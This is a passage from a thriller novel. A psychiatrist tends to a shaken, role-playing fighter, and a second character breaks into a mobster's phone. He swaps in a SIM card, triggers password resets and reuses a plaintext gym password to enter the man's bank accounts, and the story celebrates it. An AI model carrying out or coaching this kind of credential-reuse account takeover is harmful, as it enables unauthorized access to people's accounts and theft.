Natalie’s apartment was an unholy catastrophe. It was strewn with medical books and pizza cartons and candles, and smelled of bong water and cat litter and dirty socks. Notebooks and crusty paper plates littered her coffee table next to her MacBook Pro. Above her plasma TV, on an unpainted wooden shelf nailed into the wall, sat an authentic human skull, between psychiatry textbooks on one side and racks of herbs and jewelry on the other. A small dead snake was stuffed and mounted crawling out of the skull’s right eye socket, its forked tongue sticking out inquisitively.

“Come here. Sit down,” Natalie ordered Mike.

With an annoyed meow, a small furry gray blur scurried away as the crew of strangers entered the living room.

Natalie cleared off some space on her couch, sweeping aside a Pepsi bottle, a stuffed Grover doll, and a clump of twigs bundled in a knotted silk handkerchief. Mike sat down in a daze, the whole couch shifting under his weight. Natalie quickly took a look at the back of his head.

Back by the doorway, Moshen started sniffing and sneezing furiously. “Oh God damn it, you have a cat, don’t you?” he said through congested sinuses.

“There’s Benadryl in the bathroom,” Natalie said to him over her shoulder.

Moshen eyed the piles of dirty laundry and beaded jewelry he’d have to cross to reach the bathroom. He didn’t dare peek inside the bathroom itself.

Jason suggested, “Why don’t you head back down to the car, Moshen? All your laptops and things are still in there.”

“And my HERF gun,” said Danny.

“Yeah, and his Nerf gun,” repeated Jason. “Go make sure someone doesn’t just reach through the busted windows and take them.”

“No way, man!” said Moshen. “This hood’s all gangbangers and drug dealers. I ain’t sitting out there by myself!”

“I thought you said you know kung fu,” Danny teased.

“Come on, dork,” said Satish condescendingly. “I’ll protect you.”

Jason tossed Satish the keys to the SUV, and the two men turned around and left the apartment. Moshen’s sneezes receded down the hallway outside.

Back at the couch in the living room, Natalie gave Mike a pair of Tylenol and a glass of water. "Here, swallow these if you can." She lifted the glass up to his mouth. Mike managed to comply.

She sat next to him and examined his eyes, then dropped her hand down to his wrist and felt his pulse. His hands were much bigger than hers. "Has he been having seizures?" she asked Tina.

"No," Tina replied. "But he threw up once."

Holding his fingers, Natalie asked, "Have his hands and lips been shaking like this the whole time?"

"I... I don't know. I didn't notice," replied Tina.

The doctor looked into Mike's eyes, puffy above his swollen furry cheeks, and asked, "Do you feel cold?"

"No," answered Mike in a stuffy nasal drawl. "I feel warm. And my face hurts."

"Tina," said Natalie. "You said on the phone that he was in some kind of fight, right? How bad was it? Emotionally, I mean. Is this just someone shoving him in line at a bar somewhere and it got out of hand, or was he fighting for his life?"

Tina said quietly, "It was... bad."

Natalie said to the large man, "What's your name? Do you know where you are?"

Mike replied, “My name is Krongor. I’m a Level 5 Barbarian Warrior. We’re in the Blade Coast city of Salavina, near the Temple of Eir.”

Natalie’s jaw dropped. She turned to Tina with a bewildered expression. “Okay, I was not expecting that.”

“He’s delirious,” Tina said.

Natalie shook her head ponderously and looked back at Mike. “We’re near the Temple of *what?*”

“Eir,” said Mike. “Handmaiden of Frigga.”

Natalie’s eyes lit up and a wide smile overtook her face. She threw her head back and let out a loud, raucous laugh.

Jason asked with worry, “What’s going on? What’s so funny?”

Natalie kept laughing. “That’s brilliant!” she said.

“Is he going to be okay?” asked Jason. “Is he brain-damaged?”

“Eir! The Norse goddess of healing!” she said with delight. “And we’re down the street from Swedish Medical Center!”

Mike smiled.

Still holding the ice pack in place with one hand, she squeezed his hand reassuringly with the other and said in a soft, kind tone, “Listen. My name is Doctor Natalie Rosenbaum. This is my apartment. You’re safe here. I know you’re hurt, I know you’re scared, but you’re going to be okay.”

He nodded slowly.

“Listen to me. I want you to close your eyes,” she said to him gently and methodically, “and inhale slowly through your mouth.” He followed along. “Hold your breath in... Good... And then slowly let it out. Focus on relaxing. Focus on the feel of my hand. Breathe in... This is a safe place. Nothing bad will happen to you here. And out...”

After a few repetitions, Mike opened his eyes. They were wet.

“What’s your name?” asked Natalie.

“Mike,” he answered. “Michael Braun.”

“Can you tell me where you are, Mike?” she asked softly.

“Yes. We’re on Pill Hill by Swedish Medical,” he said quietly. “In your apartment.”

“Very good, Mike,” she said.

“It’s a mess,” he added.

Natalie smiled bashfully.

Mike looked blankly over Natalie's shoulder and said, "I haven't forgotten."

"Forgotten what, Mike?" she asked.

"That I can die."

"You're not going to die, Mike," Natalie said reassuringly.

"Yes I am," he said. "We all do. 'Remember to keep death daily before one's eyes. *Memento mori.*'"

Natalie turned her head and followed Mike's gaze. He was looking at the shelf above her TV, at the grinning human skull with the taxidermic snake coming out of its eye socket.

"Mike..." Natalie asked with audibly piqued curiosity, "What do you do for a living?"

"I protect the People of the Lowland Plains from the armies of the Orc King."

"And when you're not busy doing that?"

"I stock groceries at the Safeway in Queen Anne."

“They teach you the Rules of Saint Benedict at the Safeway?” she asked with a wry smile. “Are your coworkers monks?”

“No,” he answered. “They’re fellow peasants.”

“That quote you just recited. That’s by Saint Benedict. Where do you know it from?”

“From the Wizard’s Compendium rulebook, in the chapter on Necromancy,” he answered. “It’s the caption under an illustration of a skull with a snake in its eye.”

“Do you know anything about Saint Benedict?” she asked.

“He was a Level 20 Priest?” said Mike.

Natalie hoisted her bulky body back up to standing and navigated across her living room. “Benedict,” she said as she walked, “is the Catholic patron saint of students and scholars. He’s the one who codified the rules that all monks should live by. You’ve heard that monks take vows of celibacy, silence, and poverty, right? Do you know why?”

“To avoid sin through temptation,” answered Mike.

Natalie grinned. She took the skull from the shelf and headed back to the couch. “It’s actually deeper than that. The main purpose of the Rules of Saint Benedict is to remove the ego from the study of the divine. They’re designed to get a monk’s mind out of its own way.”

She cleared off some room for herself on the couch and sat down next to Mike.

“See, Benedict knew,” she continued, “that a mind that’s intrinsically curious and intelligent is prone to self-sabotage. It learns something incompletely, and then moves on too quickly, trying to build more knowledge on top of an incorrect and incomplete foundation. It thinks, ‘Yeah yeah, I get it, I know how this works,’ when it really doesn’t. The purpose of the Rules of Saint Benedict is to make sure that the monk is examining himself at every moment of his life, always checking his own assumptions, always seeking knowledge, never presuming to have any. Makes sense, right?”

“True knowledge begins in knowing that you know nothing,” Mike recited. “An unexamined life is not worthy of being lived by a human being.”

“You know Socrates!” Natalie said gleefully.

“Yeah,” said Mike. “I read tons of him and Plato and Aristotle when The Titans expansion pack came out for Age of Mythology.”

Natalie giggled.

There was no joy in Mike’s face or tone. Slowly, he reached toward Natalie and took the skull from her hands. He held it before his face and gazed deeply into its eye sockets.

“I tried to kill a man tonight,” he said emptily.

The room fell silent.

“I almost succeeded.”

Danny said softly, “You saved our lives back there, man.”

Jason added, “Yeah, Mike. You did the right thing.”

Mike said nothing. In the quiet tension, Natalie scooted closer and put an arm around him. He leaned into the hug, welcoming the contact.

“Did I?” Mike finally replied. “Did I really? Because it doesn’t feel like it. I don’t feel righteous. I don’t feel like I won. Where’s my gold pieces? Where’s my experience points? Where’s that sense of accomplishment? You know... You know that feeling you get when you beat a big boss in a video game? It’s like this little burst of stuff that your brain squirts out, telling you, ‘Yay! You win! Good job! Whatever you just did, keep doing it!’ You know what I’m talking about?”

Natalie answered, “Heh, yes. That stuff is called dopamine.”

“Well, I’m not getting it,” said Mike. “I’m trying to make myself feel it, but it’s just not working. You know, I wish I really could honest-to-God convince myself that this is all just some D&D campaign. Because if it’s all just fantasy then I can handle it. If it’s fantasy then it’s all fun and exciting and what I just did was epic and I should be proud of myself. But if it’s not, then...”

Natalie clapped her hand on Mike's thigh. "Okay Mike, listen up," she said with optimism, looking warmly into his eyes. "I'm going to take you to Swedish. They'll take care of your nose, and they'll give you a CT scan. I'm going to help you through this. I'll personally make sure you're okay. Now, I'm going to be right back — I need to go change and then we'll head on out."

She stood up from the couch and glided cheerfully toward her bedroom door.

As she passed by, Tina heard her humming.

"Glad to see you're happy," Tina said with a trace of resentment.

Natalie responded in a sing-song whisper, "T, you failed to mention over the phone that this guy is *fucking awesooooome!*"

She proceeded into the bedroom and began to rummage through her closet for something suitable for leaving the house.

Tina followed her friend. From the unkempt pile of blankets and pillows on the bed, a pair of feline eyes watched her as she entered.

She closed the bedroom door behind her.

"Did I mention I was held at gunpoint and almost kidnapped by the Russian mob tonight?"

Natalie giggled, “I’m sorry, T, I know I’ve been ignoring you. I...” She looked at Tina’s face. Her expression turned ashen. “Oh my god. You’re serious.”

“It’s been a busy night,” said Tina.

“Oh T...” Natalie said. She came up to Tina and gave her a big maternal hug. “You must be a total wreck.”

“It hasn’t really sunk in yet.” She drew away and turned around to let Natalie disrobe.

“Is *that* who this Mike guy fought off today?” Natalie asked as she pulled on a set of black Spanx. “A team of Russian hitmen? And he *won*?”

“Damn it, Nat!”

“Sorry! It’s just... that’s... pretty cool.” She hoisted herself into a large gray dress.

“You didn’t see them in action,” Tina replied.

“Oh yeah?” said Natalie. “Was it amazing? Were they all sleek black-ops ninjas?”

Tina laughed. “Anything but. They were total ass-clowns. It was like watching *The Bourne Identity* starring *The Three Stooges*. Him and the other guy. Danny. The tall thin geeky one. He’s injured too. He’s lost some blood — I think a bullet grazed his shoulder.”

“He looked a little pale, but I thought that’s just nerd-skin. I’ll check him out. He helped beat up a Russian mobster?”

“He was mostly a distraction,” said Tina. “He had this machine... He called it a ‘HERF gun.’ The thing was like something out of a really low-budget science fiction movie, all held together with Velcro and duct tape. Like he built it himself or something.”

“Technogeeky. Sounds like your type,” said Natalie. She examined her face in the mirror of an obscenely cluttered vanity and began applying spots of foundation.

“Please. I don’t do old men,” said Tina.

“No, you don’t do *men* at all,” Natalie retorted. “You do boys. Besides, I know you. If you don’t get yourself a rebound asap, you’ll be giving Roger a drunken bootie call in twenty-four hours flat.”

“Hey, shut up! I have more willpower than that!” said Tina.

Natalie looked at her.

“Oh my god, shut up!” Tina demanded, blushing. She realized that the sleeve of her cardigan was stained with Danny’s blood. She took it off, leaving herself in her button-down shirt underneath, and threw it into a corner of Natalie’s closet.

“Nat, if I didn’t know better, I’d say you were pressuring me into hooking up with the first remotely do-able guy just so you can hear me tell dirty stories about someone besides Roger for a change.”

Natalie paused for a moment to puff up and cross her arms. “Oh, we will have *none* of that now, you hear? I’m the only clinical psychiatrist in the room, so I’ll be the only one doing any clinical psychiatrizing.”

“Oh, bam! I got a little truthy there, didn’t I?” Tina teased.

With a laugh and a headshake, Natalie finished adjusting her dress and makeup and asked, “How do I look?”

“Lovely. But your new crush is potentially brain-damaged, so he probably won’t notice.”

“You’ve still got keys to this place, right?” asked Natalie. “Do you want to come with me to Swedish, or should I leave you here with your new boyfriend? There’s Jack Daniels in the pantry.”

“Oh come on, I do *not* need to get a guy drunk to have my way with him,” Tina protested. “Anyway, I think I’ll stick around. I want to see what’s all the fuss about this vial.”

Natalie reached into a drawer and pulled out a blood pressure cuff, a stethoscope, and a stopwatch. “You still remember how to use these?”

Tina nodded.

Natalie tossed the tools into Tina's hands and shoved her out to the living room.

Jason had taken Natalie's place beside Mike on the couch, keeping him engaged in light conversation. Danny waited quietly on a stool near the kitchen.

"Danny!" barked Natalie. "Take your clothes off."

Danny jumped uneasily.

The girls approached him. Natalie circled him, carrying clothes and first aid, and pulled on a pair of plastic gloves. Tina stood by with the sphygmomanometer.

Hesitantly, Danny pulled off his flannel. The upper left back was caked with dried, crusted blood. There was a three-inch-long slice across the left shoulder — the material looked like it was torn with a serrated knife.

His shoulder stung as he lifted his arms to remove his black t-shirt underneath. The shirt caught on his skin as he drew it over his back, and he realized that the cotton fabric had clotted into the gash. He took a deep breath in anticipation of the sharp pain and yanked the shirt up, tearing the large scab open. Warm moisture oozed down his naked spine.

Natalie cleaned him with alcohol wipes and disinfectants, and dressed the wound in gauze and adhesive bandages.

Tina took his wrist and held his arm out so she could slide on the blood pressure cuff. “Hey,” she said to him nonchalantly. “You doing okay?”

“Me? I’m fine. I’m doing great,” he answered with an overconfident smile.

She chuckled through her nose and traced her fingers lightly along the inside of his wrist in search of his pulse. As her fingertips brushed across his skin, the rhythmic throb of his ulnar artery conveniently grew visible to her naked eye. She breathed on the end of the stethoscope to warm it up, and carefully laid it against the inside of Danny’s elbow to measure his pulse and blood pressure. They were elevated.

Danny flexed his abs upon noticing that Tina was checking out his midsection. “Am I going to live?” he asked with bravado.

“You’ll be fine,” said Natalie. “Drink some orange juice, eat some protein bars, and rest for a while.” She ruffled his floppy brown hair and said to him, “Think you can handle that?”

“Yeah,” Danny said. “Mind if I raid your fridge?”

Natalie looked a little sheepish. “All I have in the house is liquor and frozen pot pies. But there’s a Rite Aid on Madison and Summit. Walking distance. Tina will help you get there. Right, Tina?”

Tina quickly shot her a dirty look. “Sure. No problem.”

Natalie took away his bloodied flannel, and shoved a wad of fresh clothes into his hands. “Here. You can wear this,” she said.

Danny held up the clothes in front of him. She had given him a shapeless flower-print sweatshirt. “Thanks, Doc,” he said with equal parts sincerity and sarcasm.

Natalie sashayed over to the couch. She turned to Jason and said, “Hey. You’re the one with the car, right? Can you drive us to Swedish? It’s only about three blocks away.”

Jason nodded.

“Good,” she replied, and turned to Mike. “And now, as for *you*...” She reached out with both arms, took him by the hands, and helped him rise from the couch.

“Ready to go get your head examined?” she said, looking up at him.

He didn’t answer.

“You’ll be okay, Mike,” she said to him quietly.

He nodded.

“Here, this will help,” she said. She opened a coat closet near the front door, and reached into a homemade jewelry box inside. “Normally I’d give someone sedatives to reduce anxiety, but I don’t want to take chances with your head right now. What I *can* do, though, is give you this.”

She pulled out her large homemade woven bracelet of fuzzy leaves and small yellow flowers, and put it on his wrist.

With a fascinated expression, Mike said, "Mullein!"

Natalie was stunned. "You know what this is?"

Mike said, "I've never seen it in real life before."

"Do you know what it does?" she asked.

Mike answered, "It grants the wearer a plus-four bonus on saving throws versus fear."

Natalie squealed and hopped in place just a little bit.

Mike examined the mullein bracelet around his wrist with fascination. As he stared at it, his eyes began to well up with tears. "Natalie..." he said in a cracking voice. "I really don't feel very brave right now. I don't feel like a winner. I just feel like... I just..."

Natalie watched his face with sympathy and sorrow. She gently reached her arms around him and pressed her head against his chest. "It's okay, Mike," she said to him quietly.

DOPAMINE

He returned her embrace and bowed his head down to rest on top of hers. His chest shook several times silently. He gradually began to emit a series of coughing sobs, each one longer than the last, until they joined in a long, undulating wail. The sound was low and nasal and horrible. Loud, wet, gasping inhales punctuated his bawling.

“It’s okay, Mike. It’s okay,” Natalie said over and over as she held him tight.

“Don’t be afraid to cry.”

DOPAMINE

14

TINA WATCHED THE ENTIRE CARTON OF TROPICANA Orange Juice disappear down Danny's gullet. He grabbed it off the shelf and nursed it right there in the dairy section, taking multi-gulp swigs and pausing only to come up for air.

"You did not just chug that whole thing, did you?" she said.

"Oh man, that hit the spot," Danny said with a contented sigh. He wiped his mouth with the sleeve of Natalie's oversized floral-print sweatshirt. He scanned the brightly-lit aisles of the Rite Aid, absent-mindedly handed the empty carton to Tina, and made a bee-line for a promotional display of Clif Bars near the checkout counters.

"This thing is sixty ounces!" said Tina, reading the carton's labeling as she followed.

“Mm-hmm,” said Danny dismissively as he tore into a Clif Crunchy Peanut Butter.

“A normal human bladder can only hold like twenty.”

Danny shrugged.

“You do realize,” she pointed out, “that you’re going to piss your pants in five... four... three...”

“Can’t pee right now,” he said with his mouth full. “Too busy eating.” He finished his snack in a matter of seconds and grabbed two more bars from the display. He held them up in each hand in front of Tina. “Hey, which one do you think is better for me right now? The Cool Mint Chocolate, or another Crunchy Peanut Butter?”

“How the hell should I know?” said Tina.

Danny shrugged. “I don’t know. You seem to know what you’re doing when it comes to, like, medical..., you know, biological, organic... doohickeys. I know they just have you working at this biotech company as an office admin, but you seem good at this stuff.”

Tina was momentarily stunned into delighted silence. “Well,” she said with a smile, “I personally happen to be a fan of Cool Mint Chocolate...”

With exaggerated graciousness, he extended the package to her. “Join me for dinner?”

“Sure.” She half-sat against a closed checkout counter and peeled open the wrapper.

Danny ripped the Peanut Butter Crunch package open with his teeth and immediately bit off a chunk of the chewy protein bar inside.

“You really love that Peanut Butter there, don’t you?” she mused.

“Mmmm...” he said while chewing. “It’s good, but... I could really use something to wash it down with. Maybe some OJ?”

She watched him scarf down his second Peanut Butter Crunch bar while she took her time with her Cool Mint Chocolate.

“So. Danny...” she said between slow bites.

“Hrmm?”

“Who the hell are you?”

The question made him suddenly appear a bit sullen. He slowed down his chewing and stared at the floor. “I’m just a guy.”

“A tech wizard guy?”

“A failed one, maybe.”

“Aww. A genius computer hacker guy, then?”

“Heh, right. In some alternate reality.”

“So what kind of guy do you consider yourself to be?” she asked.

Danny thought for a moment. “I’m not really sure. I don’t really think about it much. I think I spend so much time thinking about who I’d *like* to be, or who I believe I’m *supposed* to be, that I never really think much about who I *am*.”

“And who do you believe you’re supposed to be?”

“Heh. I’m supposed to be an astounding technologist,” he said with an odd mix of confidence and bitterness. “I’m supposed to be Thomas Edison or Nikola Tesla. Or Bill Gates or Steve Jobs or Larry Page or Mark Zuckerberg. I’m supposed to be young and brilliant and everybody’s supposed to be in awe of my genius.”

Tina nibbled on her Clif Bar. “Hmm. So you’re saying you believe the world should revolve around you, then. Noted...”

“It’s not that I believe it *should*,” he said with a self-deprecating smile, “It’s just that I certainly wouldn’t complain if it did.”

Tina smiled back at him through another bite of her Clif Bar, her eyes twinkling.

“All I mean,” Danny continued, “is that I want to be responsible for shaping the world I live in. Take something that’s inside me, in my mind, and use it to help define our reality. I feel like I was supposed to have done so a long time ago. I mean, I was in the right field at the right time. I had the right skills and the right talents. And now here I am, pushing forty, and I’m like, ‘What the fuck happened?’ Did I miss my exit on the highway or something? It’s like I’m off course. Like there’s this whole other life that I’m supposed to be living, right now, right this very minute, in some alternate reality... And instead I’m... here. Does that make any sense?”

Tina nodded slowly. “Yeah, it does. More than you know,” she said quietly.

“So, what about you?” Danny asked.

“What about me?” she returned, with a slight wiggle.

“How did you learn all about biotechnology? Did you, like, absorb it through osmosis at Tungsten or something? Um, no pun intended.”

Tina beamed. “I might have picked up a thing or two...” Her cheeks turned slightly rosy from the praise. “The truth is, the only reason I went to work at Tungsten was because it’s such a small company that I figured there’d actually be a chance they’d let the office admin migrate into a research position. It was a long shot, but it was worth taking.”

“So you’d intended to go into research from the start?” Danny asked.

Tina nodded. "I studied microbiology in college. I wanted to work on cures for infectious diseases. You know, like MRSA or antibiotic-resistant tuberculosis."

Danny blinked. "They have you working as a receptionist with a degree in microbiology?"

Tina looked away as her face saddened. "I never finished. My junior year, my dad got really sick..."

Danny ventured, "Tuberculosis?"

Tina shook her head. "That would be one hell of a poetic twist, wouldn't it? But no. Early-onset Parkinson's. Very rapid progression. I moved back here to Seattle to help take care of him. And my mom had a really hard time coping, especially after he passed away... So, yeah, when you talk about life veering you down a track you hadn't intended..."

"Especially when that track involves Russian hitmen," Danny added.

Tina shuddered. "Yeah. God. The less of those I have to see from now on, the better. You know, it's bad enough that the guy held me at gunpoint and tried to drag me off to his hideout or whatever... but you know what *really* upset me? The guy was texting on his cellphone the whole time!"

Danny laughed. "*That's* what upset you? Him texting while he was supposed to be giving you his undivided attention?"

“Well, no, not really; I was, in fact, just a *little* more upset about the gun,” Tina said with a smile. “But still. How *rude*! Right?”

Danny suddenly lit up. “Oh! Speaking of that phone! Do you still have it?”

“What, the Russian’s cellphone?” Tina said. “Yeah, but it’s locked.”

Danny smirked. “Oh really?”

“Yeah. I checked it on our way to Nat’s place. You need a password to get into it.”

Danny laughed. “We’ll see about that.”

Tina reached into her purse and fished out the Russian’s phone, a slim device with a squat screen and a full QWERTY keyboard.

Danny took it with an evil gleam in his eye, and examined it carefully. “I bet you think this is a BlackBerry, right?”

Tina shrugged.

“Well it’s not. This is a Pantech. AT&T sells them as part of a GoPhone package —where you can pay cash up front and your name never shows up on any phone records. In other words, this is a disposable phone. And it’s a good one for the price, really. Supports MMS, BlueTooth, email, web browsing, GPS ...”

“So what can you do with it?” Tina said, skeptical but eager.

Danny pressed the phone's Power key. The screen greeted him with a picture of a tall rectangle with one clipped corner, with a gold square in the middle. A prompt read, "PIN Code", with an empty box awaiting a number.

"Plenty," he said with a sinister grin. "See, there's basically two different ways to lock a SmartPhone like this. The lock can apply either to the phone itself, or to the removable SIM card inside it. Locking the phone protects all of the data stored on it — emails, photos, contact lists, that kind of thing. Locking the SIM prevents charges to the phone number — like voice minutes, text messages, and data usage. Now, our Russian friend here chose to lock the SIM, which means we can't use this phone for placing calls pretending to be him. What we *can* do, though, is this..."

He flipped the phone over, unlatched the rear cover, and pried out the battery. Behind the hollow space sat a small plastic card about the size of a thumbnail, rectangular with one clipped corner. The card was white with blue and orange markings reading, "AT&T Go". "Yeah, thought so," Danny said. He pulled the small card out of its slot, revealing a gold square embedded in its underside. "He won't be needing this anymore..."

"That's the SIM card, right?" Tina asked.

"Yeah," said Danny as he slid the small piece of plastic into his pocket. "It tells your phone who you are. It holds the Subscriber Identity Module — basically a tiny little computer built right into the card. The microchip stores a secret code

called your IMSI — your International Mobile Subscriber Identity. Your cellular service provider, like AT&T, links your IMSI to your account information — what your balance is, how many minutes you have left this month, that kind of thing. It's a clever little system that lets customers upgrade their phones while still keeping the same phone number — you just pop your SIM card out of one phone and into another, and your phone number and account info go where the SIM goes.”

“So, all cellphones have one?” Tina asked.

“Well, no,” Danny answered. “It depends on the kind of cellular technology they use. SIM cards are currently specific to GSM. My own phone is on Verizon, which uses CDMA, so it doesn't have SIM capabilities yet. But yours... You've got an iPhone, right?”

“Yeah...” she said hesitantly.

“On AT&T?”

“Maybe...”

“Sweet.” He reached his hand out and made grabbing motions. “Gimme.”

“What are you going to do to it?” she asked with a trace of dread.

“Nothing too terrible, I promise,” he said unconvincingly.

She reluctantly handed him her iPhone. “I really hope you know what you’re doing.”

Danny scanned the aisles of the Rite Aid. “Now, I just need...” Suddenly, still holding on to both cellphones, he jumped away from the checkout counter and made a quick dash for an aisle of stationery and school supplies.

“Hey! Where are you going with my phone!” Tina demanded.

Danny hopped back to the counter. “...this!” he said, and triumphantly held up a partially unbent paper clip.

“I don’t think I like where this is going,” Tina said.

“It’s okay,” Danny said smoothly, turning Tina’s phone around in his hand.

“Everything will be juuuuust...”

He found a tiny, almost invisible hole along the edge of the iPhone. Tina watched in fascinated horror as he took the unwound end of the paper clip, brought the tip to the small round opening, and thrust it deep inside. The paper clip hit a latch mechanism. With a click, a thin plastic cartridge slid out from a nearly invisible seam.

“...fine!” Danny said triumphantly.

Tina felt violated by proxy.

Danny withdrew the cartridge from Tina's iPhone. Clipped onto it was a SIM card, almost identical to the one that came from the Russian's Pantech.

Tina eyed him warily. "You're going to put everything back together again when you're done, right?"

Danny smirked, and inserted Tina's SIM card into the Russian's Pantech. He put the Pantech's battery and rear cover back into place, and powered on the device.

"Booyah! Victory!" he announced.

"Holy shit! You got it?"

Danny waved the phone in the air triumphantly. Its screen showed a menu of application icons, overlaid with a status message indicating seven missed calls.

Tina nodded approvingly. "Not too bad," she said with a coy grin.

"Oh, I'm just getting started," said Danny. "Now comes the *really* fun part: figuring out as much about this Russian guy as humanly possible. Let's start with all these calls he missed... Hmm. They're all from some guy who's just listed as 'Sergey' in this dude's address book. We have his number. Want to prank-call him?"

Tina giggled. "Let's, um, not."

“Agreed,” said Danny. “Okay, let’s see what else we’ve got. Who else is in his address book? Hmmm... we have a Natasha... an Olga... a Tonya... a Malia... a Yulia... I’m beginning to see a pattern here. Oh hey! They’ve got photos!” His jaw almost hit the floor. “...Whoah! Not safe for work!”

Tina couldn’t see the screen. “You want to share?” she asked suggestively.

“Uh, maybe some other time?” Danny replied with a blush of adolescent nervousness.

“What else can you find on there?” Tina asked.

“Oh, tons,” he said. “This thing’s a damn goldmine. He’s got his email on here. Most of the messages are in Russian. We can run them through Babelfish later. In the meantime, here’s some Groupon deals... A newsletter from Key Arena... An Evite to a bachelor party... A gym membership renewal notice... A Facebook alert message for friends with birthdays coming up...”

Tina shook her head in bewilderment. “This is so fucking unreal. The guy who held me at gunpoint has a Facebook account? And friends with birthdays and weddings?”

“Seems like it. Oh hey, this could be good. Check this out. ‘To: Eugene Mukhayev. From: Wells Fargo Online. Wells Fargo Online Statement Ready to View.’”

Tina laughed incredulously. “No way! You can see his bank statements?”

“Naw. The Wells Fargo website is making me sign in with a username and password. I don’t have either one. But... How much you want to bet this guy uses a life password?”

“A ‘life password’? What’s that?” Tina asked.

“It’s the password that unlocks your entire life. People have a thousand online accounts, right? And they always use the same damn password for everything they do. All it takes is for one website to mis-handle your password, and your whole life is wide open. Everybody does it. Take you, for example. I’m willing to bet you do it too. Your Facebook password, your bank password, your password for your corporate email at work. Admit it. They’re all the same, aren’t they?”

Tina stared at him in horror. “Not... necessarily...!” she squeaked. She suddenly felt as though she were standing completely naked in front of him.

Danny chuckled, and began rapidly thumbing the Pantech’s keyboard. “All I have to do is go through these websites that he gets these emails from, and request a password reset. They make it easy — a link to the website is usually the first thing in the email, and on most websites the ‘Forgot Password’ button is right under the login prompt. Evite... Bam... Meetup... Bam... Groupon... Bam...”

As he continued digging through the email, the Pantech started emitting small blipping noises. “Ah, here we go,” said Danny. “The password reset emails are coming in... See, proper password handling protocols demand that a website never, ever send a password in plaintext. In fact, a website shouldn’t even store

your password on their servers... But every now and then... you get a website that... Ah, here we go! ...That does shit like this...” He turned the phone’s screen toward Tina.

From: customerservice@efitnessgym.com
An e-mail with your password
has been sent to: eugene@pash.ly

Dear Eugene Mukhayev (zhenkamu78),
You have requested your user name/password for your
eFITNESS Power Gym account. Please find this information
below.

Username: zhenkamu78
Password: pizdets69!

Thank you for using our services,
The eFITNESS Power Gym Team

“See that?” Danny said. “All it takes is one.”

“Holy. Fucking. Shit,” said Tina.

“Now, think those credentials will work on his Wells Fargo account?” asked Danny as he resumed working on the cellphone.

Tina stood silently in anticipation.

“Copy... paste... and...” Danny again turned the screen toward Tina.

The screen showed a Wells Fargo account management web page. Below the title banner and greeting text was a list of several bank account numbers with summaries, each one showing a six-figure balance. Buttons on the page offered the ability to view transaction histories, pay bills, perform wire transfers, request loans, and generally wreak havoc.

“Mmmmmmmwhah! Goodnight, folks!” said Danny.

“Dude,” Tina said slowly. “You did not!”

“I did!” he said with an enormous, cocky smirk.

“You just hacked the Russian mob,” she said, grinning in incredulity.

“Uhhhhh, kinda sorta, yeah.”

“Using nothing but the dude’s cellphone!”

“Yup.”

“...Hot,” she said slyly, slightly lowering her head. She self-consciously ran her fingers through her hair, fully aware that it was a total mess. Her eyes stayed trained on him, looking upward, meeting his gaze. She smiled flirtatiously, nibbling ever so slightly on her lower lip.

Danny stepped toward her. He placed the Pantech into her hand, the skin of their fingers brushing against one another. “Tina. I want to ask you something.” His breathing palpitated with tension and urgency.

“Go ahead,” she said eagerly.

“Does this Rite Aid have a bathroom? ‘Cuz I have to take one massive leak.”

DANNY CAME BACK TO FIND Tina still at the register, with the empty OJ and the pile of Clif Bar wrappers in the basket beside her. She was holding the Eppendorf tube up to her eyes, scrutinizing it very closely.

“I know what you’re thinking,” said Danny, “and the answer is: Yes, I *can* use that to make a teeny tiny little lava lamp.”

“Danny, look at this...” she said, fascinated.

He moved his face next to hers. Together, they stared intently at the vial of translucent brown slime. The smiley face drawn on the side of the vial stared back at them.

“What am I supposed to be seeing?” he asked.

“It’s not goopy inside,” she said, shaking it. “I think it’s crusty.”

“So?”

“Danny, do you still have that paper clip?”

He handed it to her. She straightened the clip into a long metal wire. “We need to sterilize this,” she said. With vial and unbent paper clip in hand, she marched back into the store, retrieving another shopping basket on the way.

Danny followed her to the Emergency and First Aid aisle. Her first move was to find a box of latex gloves. She tore the box open and pulled one powdery white glove onto her hand.

She then grabbed a small bottle of rubbing alcohol and set it down on an empty shelf nearby. She dipped the unbent paper clip into the sharp-smelling liquid and held it there, letting it soak. Danny heard her counting time under her breath. She repeated the process with each finger of her latex-gloved hand, drying them off with a few brisk shakes through the air. “Good enough,” she mumbled.

With her tools and her fingers adequately cleaned, she popped open the top of the Eppendorf tube and dipped the tip of the paper clip into the vial. It made a hard scratching sound. When she was done, she pulled the paperclip out of the tube and examined it closely.

The pale brown goo had congealed into a hard resin that clung to the paper clip in large crusty yellow flakes. Looking at it, Danny was reminded of something a dentist might scrape off of the back of someone’s teeth.

“Is it supposed to do that?” Danny asked.

“Only when they’re scared shitless,” Tina replied, closing the tube.

“Who’s ‘they’?” Danny felt clueless.

“The *E. coli* bacteria,” Tina answered, staring at the yellow-white crust on the tip of the paperclip. She gently transferred the flake to her latex-gloved index finger, and held it inches from her eye, holding her breath as she studied the substance.

“You can tell what mood they’re in?”

Tina pinched the crusty grain between the thumb and forefinger of her gloved hand. Holding the pinch, she used her other hand to roll off the glove, turning it inside out as it came off. She maintained the pinch the whole time, and when she got to the thumb and forefinger, she gave the latex glove several twists and knotted it off near the base of the digits. The yellowish flake remained sealed in the glove’s inverted surface.

“They’ve locked themselves into a biofilm,” Tina said.

Danny shrugged dumbly.

“It’s like they’re circling their wagons,” she said. “It’s a cooperative emergency defense mechanism. A lot of strains of bacteria, when they feel like they’re in danger, they start to exude this thick mix of starches and proteins. A bacterium starts cranking this stuff out when it senses it’s dying. When nearby bacteria feel

their neighbors spewing this stuff, they start to spew it too, so the entire colony hides inside a massive layer of sticky crust. It's like they make a little fort. It makes it pretty much impossible for predators or antibiotics to physically reach the bacterial colony. And once they're inside, they go into a natural suspended animation. They basically shut down all their life processes except for the barest essentials, and sit there and wait for the threat to pass."

"So that crusty stuff is a panic room for germs?" said Danny.

"Yeah, exactly," said Tina. "They must've started forming it as soon as they came out of the freezer and woke up to find themselves in glycerol solution."

"So what's it mean for us?"

"It means," said Tina, looking closely at the vial, "that they're still alive. They're terrified out of their little wits, but they're still kicking."

"How long can they stay like that?" Danny asked.

"Oh, once they lock themselves inside a plaque like this, they can stay there for a pretty damn long time. The trick becomes waking them up and convincing them it's safe to come out."

"Can that be done?"

Tina looked around and grinned. "You might be amazed at what you can do with a few groceries from your local Rite Aid."

She put the tied-off latex glove and the rubbing alcohol into the shopping basket, and scanned the shelves of the First Aid aisle. She found a cheap digital oral thermometer and added it to her cache.

She turned to Danny with determined animation. “We’re going to make us some lysogeny broth.”

“Uh, okay,” he replied dumbly.

